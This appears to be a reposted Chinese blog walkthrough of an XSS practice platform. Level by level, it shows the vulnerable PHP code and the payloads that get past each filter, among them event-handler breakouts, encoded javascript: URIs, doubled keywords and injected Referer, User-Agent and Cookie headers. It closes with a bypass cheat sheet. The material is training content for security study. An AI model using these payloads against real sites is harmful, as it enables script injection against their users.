1.6 xss挑戰平台練習


-------------------------

XSS挑戰之旅

-------------------------

最近在學習xss,找到了一個xss練習平台,在線地址:http://test.xss.tv/

實驗環境也可以本地搭建,不過需要php+mysql的環境:

xss通關小游戲:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA   密碼:85g8

我這里使用本地搭建,方便分析代碼,安裝好的頁面如下:

 

Level 1:

分析一下源代碼中的判斷xss的代碼:


<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?>

根據代碼發現,變量$str從url接受一個get類型的name參數,並且沒有對傳入的name參數進行任何過濾

直接echo出來,我們可以直接構造任意可彈窗payload,

這里使用最基本的:<script>alert(1)</script>,也可以使用 <svg/onload=alert(1)> 等...

 

成功過關!

 

Level 2:

 

從圖中可以看出這是一個典型的搜索框xss,

分析一下源代碼中的判斷xss的代碼:


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

分析代碼,仍然是使用get方法,從url中接受一個keyword參數,不過這里用到一個過濾函數htmlspecialchars()

這個函數把預定義的字符轉換為 HTML 實體,等於<不能用,這時候一種方法是黑名單繞過,就是不使用被過濾的符號,使用js的事件:

payload :  " onclick=alert(1)這樣需要點擊一下輸入框<br>

                " onmouseover=alert(1)>需要鼠標划過輸入框<br><br>

另外一種方法就是在構造payload就要將input的文本框本分提前閉合,不影響我們彈框代碼,

我這里使用  "><script>alert(1)</script>

這樣的話 : <input name="keyword" value="  "><script>alert(1)</script>"

這樣value="  ",不會檢查我們的彈窗代碼

成功過關!!!

 

Level 3:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

分析代碼發現跟上面大同小異,不過過濾更加嚴格了,特別是value='".htmlspecialchars($str)."'發現

上題嘗試閉合<"">構造<script>彈窗方法失效了,應為value中的<被轉義了,只能利用上題中的js時間

來構造彈窗,不過這里需要用單引號閉合,構造payload :  ' onmouseover=alert(1)//

這樣的話: <input name=keyword value='  ' onmouseover=alert(1)// '>

 

闖關成功!!!

 

Level 4:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

這里我們看到,我們傳入進去的值又經過了兩個函數的參與。
函數說明:
Str_replace(">", " " ,$str),此函數將變量str中的字符>轉換為空,轉換時區分大小寫。同理將<裝換為空,

然后在經過htmlspecialchars()函數,將一些預定義符號轉換為html實體。

通過這幾個函數的過濾轉化,我們前三關的payload肯定對不能用的。所以接下來我們需要做的就是,

在沒有符號“<>”的情況下,並且語句不被htmlspecialchars()函數影響的情況下構建payload。

所以我們在這里可以構造一個輸入到文本框后出現相應的事件。我們的payload:
" onfocus=alert(1) autofocus="

" onclick=alert(1) //
這樣我們輸入的payload沒有被函數過濾,並且經過htmlspecailchars()函數轉換並不影響最 input文本框。所以輸入后文本框內容就變成了:

<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

<input name=keyword value=" " onclick=alert(1) //">


Onfocus事件:定義的事件將在對象獲得焦點時觸發,這里指input標簽獲得焦點。
Autofocus屬性:input標簽的屬性,當頁面加載input標簽,自動獲得焦點。
焦點:這里指你的光標的位置,也就是說當你的光標出現在input文本框這里,將進行onfocus事件的發生。

 

 Level 5:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼發現,$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); 就直接把

<script 轉換成 <scr_ipt ,on轉換成 o_n ,這樣就過濾了js事件,$str = strtolower($_GET["keyword"]);這樣

大小寫繞過也失效,不過這次沒有過濾尖括號<>,這里使用偽協議來構造payload:

"><iframe src=javascript:alert(1)>

"> <a href="javascript:alert(1)">bmjoker</a>

"> <a href="javascript:%61lert(1)">bmjoker</a> //

這樣的話: <input name=keyword value="  "><iframe src=javascript:alert(1)>">

<input name=keyword value="  "><iframe src=javascript:alert(1)>">

闖關成功!!!

 

 Level 6:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼,發現同樣過濾了很多字符,<script 轉換成 <scr_ipt ,on 轉換成 o_n ,src 轉換成 sr_c ,

data 轉換成 da_ta,href 轉換成 hr_ef,比起上一關,發現這里沒有大小寫約束, 我們可以構造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker</a>//

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1) //

成功過關!!!

 

 Level 7:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代碼,不僅大小寫不能用了,script,on,src ,data ,href 都直接轉換成空,

嘗試雙寫繞過,構造payload:

"><sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

闖關成功!!!

 

 

 

Level 8:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>

分析代碼,<script 轉換成 <scr_ipt ,on 轉換成 o_n ,src 轉換成 sr_c ,data 轉換成 da_ta,href 轉換成 hr_ef,

大小寫也失效了," 還被編碼,但是尖括號<> ,單引號 ' ,% ,# ,& 符號沒有被過濾,輸出點在a標簽內,href屬性中,

屬性中雙引號被轉換成HTML實體,無法截斷屬性,我們可以使用協議繞過javascript:alert,由於script關鍵字被過濾,

javascript會被替換成javasc_rpt,我們使用&#x72來代替r ,HTML字符實體轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php

,偽協議后面可以使用URL編碼等進行編碼。構造payload:

javascrip&#x74;:alert(1)

javascript:%61lert(1)

javasc&#x72;ipt:alert`1`

javasc&#x0072;ipt:alert`1`

成功過關!!!

 

 

Level 9:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; }
?>

分析代碼,發現跟上個挑戰大同小異,不同的是多了自己自動檢測url,如果發現沒有帶http:// 內容則會顯示不合法,

構造payload:

javascrip&#x74;:alert(1)//http://xxx.com  //利用注釋

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)  //不利用注釋

javascrip&#x74;:%0ahttp://xxx.com%0daalert(1)  //不利用注釋

闖關成功!!!

 

 

Level 10:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,發現需要兩個參數,一個是keyword,一個是t_sort,尖括號<>都被轉換成空,還有三個hidden的隱藏輸入框,

或許我們可以從隱藏的輸入框下手,構造payload:

keyword = test&t_sort="type="text" onclick = "alert(1)

keyword = test&t_sort="type="text" onmouseover="alert(1)

keyword = test&t_sort="type="text" onmouseover=alert`1`

這樣的話:<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

構成一個js的點擊彈窗事件:

闖關成功!!!

 

 

 Level 11:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,發現比起上一個挑戰來說,多了一個 $str11=$_SERVER['HTTP_REFERER']; 考察的是http頭部的

xss注入,開始抓包,burp修改相應的字段,構造http頭部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包,改Referer頭:

forward發包

闖關成功!!!

 

 

Level 12:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,這次換成了 $str11=$_SERVER['HTTP_USER_AGENT'];  應該是User-Agent的http頭部注入,

burp抓包,構造http頭部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

burp抓包,改User-Agent頭:

forward發包:

闖關成功!!!

 

Level 13:

 

分析一下源代碼中的判斷xss的代碼:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代碼,這次換成了 setcookie("user", "call me maybe?", time()+3600);  應該是cookie類型的xss注入

直接構造payload:

Cookie: " onmouseover=alert(1) type="text"

Cookie: " onclick="alert(1) type="text"

burp抓包,改cookie:

 

forward發包:

 

 

Level 14:

....level14崩了,我們看一下大佬的payload:

  "><img src=1 onerror=alert(1)>

百度得出答案,這里用的是烏雲爆出的exif viewer的漏洞,漏洞原理是通過修改圖片的exif信息,

造成解析圖片exif觸發XSS。利用工具推薦exiftool。以后看見上傳果斷又一個姿勢啊。

修改圖片exif信息如標題,作者。

 

Level 15:

分析一下源代碼中的判斷xss的代碼:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

分析代碼,這一關考的angular js的知識,稍微百度一下相關知識,發現ng-include有包含文件的意思,也就相當於php里面的include

發現可以包含第一關的頁面,構造payload:

 src='level1.php?name=<img src=x onerror=alert(1)>'

emmm......

 

Level 16:

分析一下源代碼中的判斷xss的代碼:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

分析代碼,發現大小寫繞過失效,script ,  / ,   ,等都被轉換成&nbsp,我們可以用%0d,%0a等繞過:

構造payload:

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

闖關成功!!!

 

 Level 17:

 

分析一下源代碼中的判斷xss的代碼:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

剛開始以為是Flash XSS,仔細一看發現不是,使用了htmlspecialchars進行實體編碼,和第三關就一樣了,使用on事件。

構造payload:

arg01=123&arg02= onmouseover=alert(1)

arg01=123&arg02=%20onmousedown=alert`1`

arg01=123&arg02=  onmouseover=alert(1) type="text"

闖關成功!!!

 

 

 Level 18:

分析一下源代碼中的判斷xss的代碼:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

分析代碼,發現完全可以用上一挑戰的方法,payload如上

 

 

 Level 19,20:

 Flash xss沒了解過...等以后學到再回來更新吧...

 

 

XSS繞過常用方法

1、大小寫繞過

<ScRIpT>alert('123')</sCRIpT>

2、編碼繞過

  • 1.十六進制編碼
  • 2.jsfuck編碼
  • 3.url編碼
  • 4.unicode編碼

<0x736372697074>alert('123')</0x736372697074>

<img src="1" onerror="alert&#x28;1&#x29;">

3、繞過magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4、標簽

閉合標簽

"><script>alert(/123/)</script>

</script><script>alert(1)</script>

標簽繞過

<img src="x" onerror="alert(1)">

<button onclick="javascript:alert('xss')>XSS</button">

<title><img a="</title><img/src=1 onerror=alert(1)//">

"onsubmit=javascript:alert(1)%20name="a

<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>

5、其他符號繞過

%0a         替換空格

%0d         替換空格

/**/          替換空格

%00          截斷

``              替換括號

6、雙字符繞過

<img ononerrorerror="123">

<script>alalertert(123)</script>

7、寬字節繞過

  • gbxxxx系列的編碼,那么我們嘗試一下寬字節  %c0,%bf,%5c,%df

8、其他事件繞過

onload

onclick

onerror

prompt

confirm

onmousemove

9、CRLF injection繞過

CRLF是”回車 + 換行”(\r\n)的簡稱。

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM